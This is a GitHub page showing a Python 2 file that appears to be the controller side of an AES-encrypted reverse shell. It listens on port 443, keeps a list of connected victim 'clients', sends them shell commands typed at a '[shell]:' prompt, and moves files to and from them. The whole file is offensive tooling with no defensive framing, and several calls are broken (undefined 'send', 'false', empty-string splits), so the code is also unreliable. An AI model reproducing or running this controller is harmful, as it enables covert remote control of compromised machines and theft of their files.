-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathaeserverFTMDNS.py
333 lines (293 loc) · 7.68 KB
/
aeserverFTMDNS.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
from Crypto.Cipher import AES
import socket
import base64
import time
import os
import sys,select
# the block size for the cipher object; must be 16 per FIPS-197
BLOCK_SIZE = 16
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
# generate a random secret key
secret = "HUISA78sa9y&9syYSsJHsjkdjklfs9aR"
# create a cipher object using the random secret
cipher = AES.new(secret)
# clear function
########################################
# Windows ...............> cls
# linux ...............> clear
clear = lambda: os.system('clear')
# encode a string
# encoded = EncodeAES(cipher, 'password')
# print 'Encrypted string:', encoded
# decode the encoded string
# decoded = DecodeAES(cipher, encoded)
# print 'Decrypted string:', decoded
# socket
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind(('0.0.0.0',443))
c.listen(128)
# listening varibles
active = False
clients = []
socks = []
interval = 0.8
# Functions
###########
# send data
def Send(sock, cmd, end="EOFEOFEOFEOFEOFX"):
sock.sendall(EncodeAES(cipher, cmd + end))
# receive data
def Receive(sock, end="EOFEOFEOFEOFEOFX"):
data = ""
l = sock.recv(1024)
while(l):
decrypted = DecodeAES(cipher, l)
data += decrypted
if data.endswith(end) == True:
break
else:
l = sock.recv(1024)
return data[:-len(end)]
# download file
def downlaod(sock, remote_filename, local_filename=None):
# check if file exists
if not local_filename:
local_filename = remote_filename
try:
f = open(local_filename,'wb')
except IOError:
print "Error opening file.\n"
send(sock, "cd .")
return
# start transfer
send(sock, "download " + remote_filename)
print " Downlaoding: " + remote_filename + ">" + local_filename
time.sleep(interval)
fileData = Receive(sock)
print "> File size: " + str(len(fileData))
time.sleep(interval)
f.write(fileData)
time.sleep(interval)
f.close()
def upload(sock, local_filename, remote_filename=None):
# check if file exists
if not local_filename:
local_filename = remote_filename
try:
g = open(local_filename,'rb')
except IOError:
print "Error opening file.\n"
send(sock, "cd .")
return
# start transfer
send(sock, "upload " + remote_filename)
print " uploading: " + remote_filename + ">" + local_filename
while True:
fileData = g.read()
if not fileData: break
send(sock, fileData, "")
print " File size: " + str(len(fileData))
g.close()
time.sleep(interval)
send(sock, "")
time.sleep(interval)
# refresh clients
def refresh():
clear()
print "\nListening for clients..\n"
if len(clients) > 0:
for j in range(0,len(clients)):
print'[' + str((j+1)) + '] Client: ' + clients[j] + '\n'
else:
print"...\n"
# print exit option
print "...\n"
print "[0] Exit \n"
print "\nPress Ctrl+C to interact with client "
# welcome message
# print '\nListening for clients...\n'
# main loop
while True:
refresh()
# listen for clients
try:
# set timeout
c.settimeout(10)
# accept connection
try:
s,a = c.accept()
except socket.timeout:
continue
# add socket
if (s):
s.settimeout(None)
socks +=[s]
clients += [str(a)]
# display clients
refresh()
# sleep
time.sleep(interval)
except KeyboardInterrupt:
# display clients
refresh()
# accept selection --- int, 0/1-128
activate = input("\nEnter option: ")
# exit
if activate == 0:
print '\nExiting..\n'
for j in xrange(0,len(socks)):
socks[j].close()
sys.exit()
# subtract 1 (array starts at 0)
activate -= 1
# clear screen
clear()
# create a cipher object using the random secret
cipher = AES.new(secret)
print '\nActivating client: ' + clients[activate] + '\n'
active = True
print "here"
socks[activate].send('Activate')
'''
# disable timeout
s.settimeout(none)
# add socket to list
socks += [s]
# add clients to list
clients += [str(a)]
# display clients
clear()
print '\nListening for clients...\n'
if len(clients) > 0 :
for j in range(0, len(clients)):
print '[' + str((j+1))+'] clients: ' + clients[j] + '\n'
print "Press Ctrl+C to interact with client,"
time.sleep(interval)
except KeyboardInterrupt:
clear()
print '\nListening for clients...\n'
if len(clients) > 0:
for j in range(0, len(clients)):
print '[' + str((j+1)) + '] Client: ' + clients[j] + '\n'
print "...\n"
print "[0] Exit \n"
activate = input("\nEnter option: ")
if activate == 0:
print '\nExiting...\n'
sys.exit()
activate -= 1
clear()
print '\nActivating client: ' + clients[activate] + '\n'
active = True
encrypted = EncodeAES(cipher, 'Activate')
socks[activate].send(encrypted)
'''
while active:
try:
# receive encrypted data
data = Receive(socks[activate]) # .recv(1024)
# decrypt data
decrypted = DecodeAES(cipher, data)
# check for the end of file
if decrypted.endswith("EOFEOFEOFEOFEOFX") == True :
# print command
print decrypted[-9:]
else :
# print command
print decrypted
# get next command
nextcmd = raw_input("[shell]: ")
# encrypt that $#!^
encrypted = EncodeAES(cipher, nextcmd)
# send that $hit
socks[activate].send(encrypted)
if nextcmd.startswith('Exit') == True :
active = false
print 'Press Ctrl+C to return to listener mode ...'
except:
print '\nClient disconnected... ' + clients[activate]
# delete client
socks[activate].close()
time.sleep(0.8)
socks.remove(socks[activate])
refresh()
active = false
break
# exit client session
if data == 'quitted':
# print message
print "Exit.\n"
# remove from arrays
socks[activate].close()
socks.remove(socks[activate])
clients.remove(clients[activate])
# sleeo and refresh
time.sleep
refresh()
active = false
break
elif data != '':
# get next command
sys.stdout.write(data)
nextcmd = raw_input()
# download
if nextcmd.startswith('download') == True :
if len(nextcmd.split('')) > 2:
upload(socks[activate],nextcmd.split(''),nextcmd.split('')[2])
else:
downlaod(socks[activate],nextcmd.split('')[1])
# upload
if nextcmd.startswith('upload') == True :
if len(nextcmd.split('')) > 2:
upload(socks[activate],nextcmd.split(''),nextcmd.split('')[2])
else:
downlaod(socks[activate],nextcmd.split('')[1])
# normal command
elif nextcmd != '':
send(socks[activate],nextcmd)
'''
# downlaod file
if nextcmd.startswith('download') == True :
# set file name
downfile = nextcmd[9:]
# open file
f = open( downfile, 'wb')
print 'Downlaoding: ' + downfile
# begin downloading
while True:
l = socks[activate].recv(1024)
while (l):
if l.endswith("EOFEOFEOFEOFEOFX"):
u = l [:-16]
f.write(u)
break
else:
f.write(l)
l = socks[activate].recv(1024)
break
# close file
f.close()
elif nextcmd.startswith('upload') == True :
# file name
upFile = nextcmd[7:]
# open file
g = open(upFile, 'rb')
print 'uploading: ' + upFile
# uploading
while 1:
fileData = g.read()
if not fileData: break
# begin sending file
s.sendall(fileData)
g.close()
time.sleep(0.8)
# let client Know we're done
s.sendall('EOFEOFEOFEOFEOFX')
time.sleep(0.8)
# else Just print
else:
print decrypted
'''